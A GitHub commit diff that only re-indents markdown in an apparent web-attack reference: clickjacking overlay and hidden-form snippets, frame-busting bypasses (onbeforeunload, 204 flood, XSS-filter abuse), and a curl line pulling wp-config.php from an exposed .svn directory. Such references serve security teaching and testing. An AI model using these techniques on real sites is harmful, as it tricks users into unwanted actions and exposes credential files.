Skip to content

Commit f333d48

Browse files
swisskyreposwisskyrepo
committed
Fix invalid spaces indents
1 parent dc349c1 commit f333d48

File tree

8 files changed

+137
-128
lines changed

8 files changed

+137
-128
lines changed

‎Clickjacking/README.md

Lines changed: 85 additions & 73 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
# Clickjacking
22

3-
> Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on ‘Delete my account’ button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking.
3+
> Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on ‘Delete my account' button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking.
44
55
## Summary
66

@@ -38,10 +38,10 @@ The transparent UI element contains malicious content or actions that are visual
3838
the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface.
3939

4040
* **How UI Redressing Works:**
41-
* Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a `<div>`) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like `opacity: 0;`.
42-
* Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.
43-
* Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
44-
* User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.
41+
* Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a `<div>`) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like `opacity: 0;`.
42+
* Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.
43+
* Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
44+
* User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.
4545
```html
4646
<div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;">
4747
<a href="malicious-link">Click me</a>
@@ -55,44 +55,44 @@ These iframes are made invisible by setting their dimensions to zero (height: 0;
5555
The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions.
5656

5757
* **How Invisible Frames Work:**
58-
59-
* Hidden IFrame Creation: The attacker includes an `<iframe>` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.
60-
```html
61-
<iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
62-
```
63-
* Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
64-
* User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
65-
* Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
58+
* Hidden IFrame Creation: The attacker includes an `<iframe>` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.
59+
```html
60+
<iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
61+
```
62+
* Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
63+
* User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
64+
* Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
6665

6766

6867
### Button/Form Hijacking
6968

7069
Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge.
7170

7271
* **How Button/Form Hijacking Works:**
73-
* Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.
74-
```html
75-
<button onclick="submitForm()">Click me</button>
76-
```
77-
* Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
72+
* Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.
73+
```html
74+
<button onclick="submitForm()">Click me</button>
75+
```
76+
77+
* Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
7878
```html
7979
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
8080
<!-- Hidden form fields -->
8181
</form>
8282
```
83-
* Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.
8483

85-
```html
86-
<button onclick="submitForm()">Click me</button>
87-
<form action="legitimate-site" method="POST" id="hidden-form">
88-
<!-- Hidden form fields -->
89-
</form>
90-
<script>
91-
function submitForm() {
92-
document.getElementById('hidden-form').submit();
93-
}
94-
</script>
95-
```
84+
* Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.
85+
```html
86+
<button onclick="submitForm()">Click me</button>
87+
<form action="legitimate-site" method="POST" id="hidden-form">
88+
<!-- Hidden form fields -->
89+
</form>
90+
<script>
91+
function submitForm() {
92+
document.getElementById('hidden-form').submit();
93+
}
94+
</script>
95+
```
9696

9797
### Execution Methods
9898

@@ -106,12 +106,12 @@ Button/Form Hijacking is a Clickjacking technique where attackers trick users in
106106
```
107107

108108
* Overlaying Visible Element: The attacker overlays a visible element (button or form) on their malicious page, encouraging users to interact with it. When the user clicks the visible element, they unknowingly trigger the hidden form's submission.
109-
* Example in javascript:
110-
```js
111-
function submitForm() {
112-
document.getElementById('hidden-form').submit();
113-
}
114-
```
109+
110+
```js
111+
function submitForm() {
112+
document.getElementById('hidden-form').submit();
113+
}
114+
```
115115

116116

117117
## Preventive Measures
@@ -138,40 +138,46 @@ Example in HTML meta tag:
138138

139139
* Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.
140140
* There are three deactivation techniques that can be used with frames:
141-
* Restricted frames with Internet Explorer: Starting from IE6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.
142-
```html
143-
<iframe src="http://target site" security="restricted"></iframe>
144-
```
145-
* Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.
146-
```html
147-
<iframe src="http://target site" sandbox></iframe>
148-
```
141+
* Restricted frames with Internet Explorer: Starting from IE6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.
142+
143+
```html
144+
<iframe src="http://target site" security="restricted"></iframe>
145+
```
146+
147+
* Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.
148+
149+
```html
150+
<iframe src="http://target site" sandbox></iframe>
151+
```
149152

150153
## OnBeforeUnload Event
151154

152-
* The `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target’s frame busting attempt.
155+
* The `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.
153156

154157
* The attacker can use this attack by registering an unload event on the top page using the following example code:
155-
```html
156-
<h1>www.fictitious.site</h1>
157-
<script>
158-
window.onbeforeunload = function()
159-
{
160-
return " Do you want to leave fictitious.site?";
161-
}
162-
</script>
163-
<iframe src="http://target site">
164-
```
158+
```html
159+
<h1>www.fictitious.site</h1>
160+
<script>
161+
window.onbeforeunload = function()
162+
{
163+
return " Do you want to leave fictitious.site?";
164+
}
165+
</script>
166+
<iframe src="http://target site">
167+
```
165168

166169
* The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a _"HTTP/1.1 204 No Content"_ header.
167170

168-
<br>_204 page:_
171+
_204 page:_
172+
169173
```php
170174
<?php
171175
header("HTTP/1.1 204 No Content");
172176
?>
173177
```
178+
174179
_Attacker's Page_
180+
175181
```js
176182
<script>
177183
var prevent_bust = 0;
@@ -192,31 +198,37 @@ _Attacker's Page_
192198
## XSS Filter
193199

194200
### IE8 XSS filter
195-
This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request’s parameters.
196-
```html
197-
<script>
198-
if ( top != self )
199-
{
200-
top.location=self.location;
201-
}
202-
</script>
203-
```
204-
Attacker View:
205-
```html
206-
<iframe src=”http://target site/?param=<script>if”>
207-
```
201+
This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.
202+
203+
```html
204+
<script>
205+
if ( top != self )
206+
{
207+
top.location=self.location;
208+
}
209+
</script>
210+
```
211+
212+
Attacker View:
213+
214+
```html
215+
<iframe src=”http://target site/?param=<script>if”>
216+
```
208217

209218
### Chrome 4.0 XSSAuditor filter
210219

211220
It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a “script” by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.
212-
Attacker View:
213-
```html
214-
<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
215-
```
221+
222+
Attacker View:
223+
224+
```html
225+
<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
226+
```
216227

217228
## Challenge
218229

219230
Inspect the following code:
231+
220232
```html
221233
<div style="position: absolute; opacity: 0;">
222234
<iframe src="https://legitimate-site.com/login" width="500" height="500"></iframe>

‎Insecure Deserialization/Java.md

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,17 +7,17 @@
77

88
* [Detection](#detection)
99
* [Tools](#tools)
10-
* [Ysoserial](#ysoserial)
11-
* [Burp extensions using ysoserial](#burp-extensionsl)
12-
* [Alternative Tooling](#alternative-tooling)
10+
* [Ysoserial](#ysoserial)
11+
* [Burp extensions using ysoserial](#burp-extensionsl)
12+
* [Alternative Tooling](#alternative-tooling)
1313
* [References](#references)
1414

1515

1616
## Detection
1717

1818
- `"AC ED 00 05"` in Hex
19-
* `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.
20-
* `00 05`: STREAM_VERSION. The serialization version.
19+
* `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.
20+
* `00 05`: STREAM_VERSION. The serialization version.
2121
- `"rO0"` in Base64
2222
- Content-type = "application/x-java-serialized-object"
2323
- `"H4sIAAAAAAAAAJ"` in gzip(base64)

‎Insecure Management Interface/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
## Summary
99

1010
* [Springboot-Actuator](#springboot-actuator)
11-
* [Remote Code Execution via /env](#remote-code-execution-via-env)
11+
* [Remote Code Execution via /env](#remote-code-execution-via-env)
1212
* [References](#references)
1313

1414

‎Insecure Source Code Management/Subversion.md

Lines changed: 7 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -2,15 +2,13 @@
22

33
> Subversion (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability.
44
5-
65
## Summary
76

87
* [Tools](#tools)
98
* [svn-extractor](#svn-extractor)
109
* [Methodology](#methodology)
1110
* [References](#references)
1211

13-
1412
## Tools
1513

1614
### svn-extractor
@@ -20,24 +18,21 @@
2018
python svn-extractor.py --url "url with .svn available"
2119
```
2220
23-
2421
## Methodology
2522
2623
```powershell
2724
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
2825
```
2926

3027
1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
31-
```powershell
32-
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
33-
```
28+
```powershell
29+
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
30+
```
3431
2. Download interesting files
35-
* remove \$sha1\$ prefix
36-
* add .svn-base postfix
37-
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
38-
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
39-
40-
32+
* remove \$sha1\$ prefix
33+
* add .svn-base postfix
34+
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
35+
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
4136
4237
## References
4338

0 commit comments

Comments
 (0)